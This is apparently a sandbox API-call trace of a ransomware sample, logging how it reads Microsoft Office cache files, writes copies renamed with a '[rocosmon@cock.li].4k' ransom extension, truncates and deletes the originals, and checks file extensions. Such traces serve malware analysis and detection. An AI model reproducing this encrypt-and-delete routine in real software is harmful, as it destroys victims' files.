	[0089.729] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8
	[0089.729] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.729] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.729] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0089.730] GetLastError () returned 0x0
	[0089.730] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x73c, lpOverlapped=0x0) returned 1
	[0089.779] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x740, lpOverlapped=0x0) returned 1
	[0089.780] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.780] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.780] SetEndOfFile (hFile=0x1ac) returned 1
	[0089.780] CloseHandle (hObject=0x1ac) returned 1
	[0089.783] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.783] SetEndOfFile (hFile=0x1a8) returned 1
	[0089.784] CloseHandle (hObject=0x1a8) returned 1
	[0089.784] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.784] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0089.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.785] lstrlenW (lpString=".doc") returned 4
	[0089.785] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.785] lstrlenW (lpString=".docx") returned 5
	[0089.785] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.785] lstrlenW (lpString=".pdf") returned 4
	[0089.785] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.785] lstrlenW (lpString=".xls") returned 4
	[0089.785] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.785] lstrlenW (lpString=".xlsx") returned 5
	[0089.785] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.785] lstrlenW (lpString=".ppt") returned 4
	[0089.785] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.785] lstrlenW (lpString=".zip") returned 4
	[0089.785] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.785] lstrlenW (lpString=".rar") returned 4
	[0089.785] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.786] lstrlenW (lpString=".bz2") returned 4
	[0089.786] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.786] lstrlenW (lpString=".7z") returned 3
	[0089.786] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.786] lstrlenW (lpString=".dbf") returned 4
	[0089.786] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.786] lstrlenW (lpString=".1cd") returned 4
	[0089.786] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.786] lstrlenW (lpString=".jpg") returned 4
	[0089.786] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.964] lstrlenW (lpString=".doc") returned 4
	[0089.964] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.964] lstrlenW (lpString=".docx") returned 5
	[0089.964] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.964] lstrlenW (lpString=".pdf") returned 4
	[0089.964] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.964] lstrlenW (lpString=".xls") returned 4
	[0089.964] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.964] lstrlenW (lpString=".xlsx") returned 5
	[0089.964] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.964] lstrlenW (lpString=".ppt") returned 4
	[0089.966] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.966] lstrlenW (lpString=".zip") returned 4
	[0089.966] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.966] lstrlenW (lpString=".rar") returned 4
	[0089.966] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.966] lstrlenW (lpString=".bz2") returned 4
	[0089.966] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.966] lstrlenW (lpString=".7z") returned 3
	[0089.966] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.966] lstrlenW (lpString=".dbf") returned 4
	[0089.966] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.966] lstrlenW (lpString=".1cd") returned 4
	[0089.966] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.966] lstrlenW (lpString=".jpg") returned 4
	[0089.966] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.966] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.966] lstrlenW (lpString="VisioMUI.xml") returned 12
	[0089.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0089.967] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9503) returned 1
	[0089.967] CloseHandle (hObject=0x164) returned 1
	[0089.967] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020
	[0089.967] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0089.968] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.968] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0089.969] GetLastError () returned 0x0
	[0089.969] ReadFile (in: hFile=0x164, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x251f, lpOverlapped=0x0) returned 1
	[0090.048] WriteFile (in: hFile=0x170, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2520, lpOverlapped=0x0) returned 1
	[0090.065] ReadFile (in: hFile=0x164, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0090.065] WriteFile (in: hFile=0x170, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0090.065] SetEndOfFile (hFile=0x170) returned 1
	[0090.065] CloseHandle (hObject=0x170) returned 1
	[0090.073] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.073] SetEndOfFile (hFile=0x164) returned 1
	[0090.077] CloseHandle (hObject=0x164) returned 1
	[0090.077] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0090.078] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1
	[0090.080] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.080] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.080] lstrlenW (lpString=".doc") returned 4
	[0090.080] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0090.080] lstrlenW (lpString=".docx") returned 5
	[0090.080] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0090.080] lstrlenW (lpString=".pdf") returned 4
	[0090.080] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0090.080] lstrlenW (lpString=".xls") returned 4
	[0090.080] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0090.080] lstrlenW (lpString=".xlsx") returned 5
	[0090.080] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0090.080] lstrlenW (lpString=".ppt") returned 4
	[0090.080] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0090.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.081] lstrlenW (lpString=".zip") returned 4
	[0090.081] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0090.081] lstrlenW (lpString=".rar") returned 4
	[0090.081] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0090.081] lstrlenW (lpString=".bz2") returned 4
	[0090.081] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0090.081] lstrlenW (lpString=".7z") returned 3
	[0090.081] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0090.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.081] lstrlenW (lpString=".dbf") returned 4
	[0090.081] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0090.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.081] lstrlenW (lpString=".1cd") returned 4
	[0090.081] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0090.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.081] lstrlenW (lpString=".jpg") returned 4
	[0090.081] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0090.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.081] lstrlenW (lpString=".doc") returned 4
	[0090.081] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0090.081] lstrlenW (lpString=".docx") returned 5
	[0090.081] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0090.082] lstrlenW (lpString=".pdf") returned 4
	[0090.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0090.082] lstrlenW (lpString=".xls") returned 4
	[0090.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0090.082] lstrlenW (lpString=".xlsx") returned 5
	[0090.082] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0090.082] lstrlenW (lpString=".ppt") returned 4
	[0090.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0090.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.082] lstrlenW (lpString=".zip") returned 4
	[0090.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0090.082] lstrlenW (lpString=".rar") returned 4
	[0090.082] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0090.082] lstrlenW (lpString=".bz2") returned 4
	[0090.082] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0090.082] lstrlenW (lpString=".7z") returned 3
	[0090.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0090.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.082] lstrlenW (lpString=".dbf") returned 4
	[0090.082] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0090.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.082] lstrlenW (lpString=".1cd") returned 4
	[0090.082] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0090.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75
	[0090.082] lstrlenW (lpString=".jpg") returned 4
	[0090.082] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0090.083] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0090.083] lstrlenW (lpString="Setup.xml") returned 9
	[0090.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0090.445] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1872) returned 1
	[0090.445] CloseHandle (hObject=0x164) returned 1
	[0090.445] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0090.446] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0090.446] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0090.446] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.446] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.446] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0090.446] GetLastError () returned 0x0
	[0090.446] ReadFile (in: hFile=0x164, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x750, lpOverlapped=0x0) returned 1
	[0090.456] WriteFile (in: hFile=0x170, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x760, lpOverlapped=0x0) returned 1
	[0090.457] ReadFile (in: hFile=0x164, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0090.457] WriteFile (in: hFile=0x170, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0090.457] SetEndOfFile (hFile=0x170) returned 1
	[0090.458] CloseHandle (hObject=0x170) returned 1
	[0090.460] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0090.460] SetEndOfFile (hFile=0x164) returned 1
	[0090.461] CloseHandle (hObject=0x164) returned 1
	[0090.462] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0090.462] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0090.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.463] lstrlenW (lpString=".doc") returned 4
	[0090.463] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0090.463] lstrlenW (lpString=".docx") returned 5
	[0090.463] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0090.463] lstrlenW (lpString=".pdf") returned 4
	[0090.463] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0090.463] lstrlenW (lpString=".xls") returned 4
	[0090.463] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0090.463] lstrlenW (lpString=".xlsx") returned 5
	[0090.463] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0090.463] lstrlenW (lpString=".ppt") returned 4
	[0090.463] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0090.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.463] lstrlenW (lpString=".zip") returned 4
	[0090.463] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0090.463] lstrlenW (lpString=".rar") returned 4
	[0090.463] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0090.463] lstrlenW (lpString=".bz2") returned 4
	[0090.463] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0090.463] lstrlenW (lpString=".7z") returned 3
	[0090.463] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0090.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.463] lstrlenW (lpString=".dbf") returned 4
	[0090.463] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0090.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.463] lstrlenW (lpString=".1cd") returned 4
	[0090.463] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0090.463] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.464] lstrlenW (lpString=".jpg") returned 4
	[0090.464] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0090.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.464] lstrlenW (lpString=".doc") returned 4
	[0090.464] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0090.464] lstrlenW (lpString=".docx") returned 5
	[0090.464] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0090.464] lstrlenW (lpString=".pdf") returned 4
	[0090.464] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0090.464] lstrlenW (lpString=".xls") returned 4
	[0090.464] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0090.464] lstrlenW (lpString=".xlsx") returned 5
	[0090.464] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0090.464] lstrlenW (lpString=".ppt") returned 4
	[0090.464] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0090.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.464] lstrlenW (lpString=".zip") returned 4
	[0090.464] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0090.464] lstrlenW (lpString=".rar") returned 4
	[0090.464] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0090.464] lstrlenW (lpString=".bz2") returned 4
	[0090.465] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0090.465] lstrlenW (lpString=".7z") returned 3
	[0090.465] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0090.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.465] lstrlenW (lpString=".dbf") returned 4
	[0090.465] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0090.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.465] lstrlenW (lpString=".1cd") returned 4
	[0090.465] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0090.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0090.465] lstrlenW (lpString=".jpg") returned 4
	[0090.465] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0090.465] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0090.465] lstrlenW (lpString="Setup.xml") returned 9
	[0090.465] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0090.833] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1452) returned 1
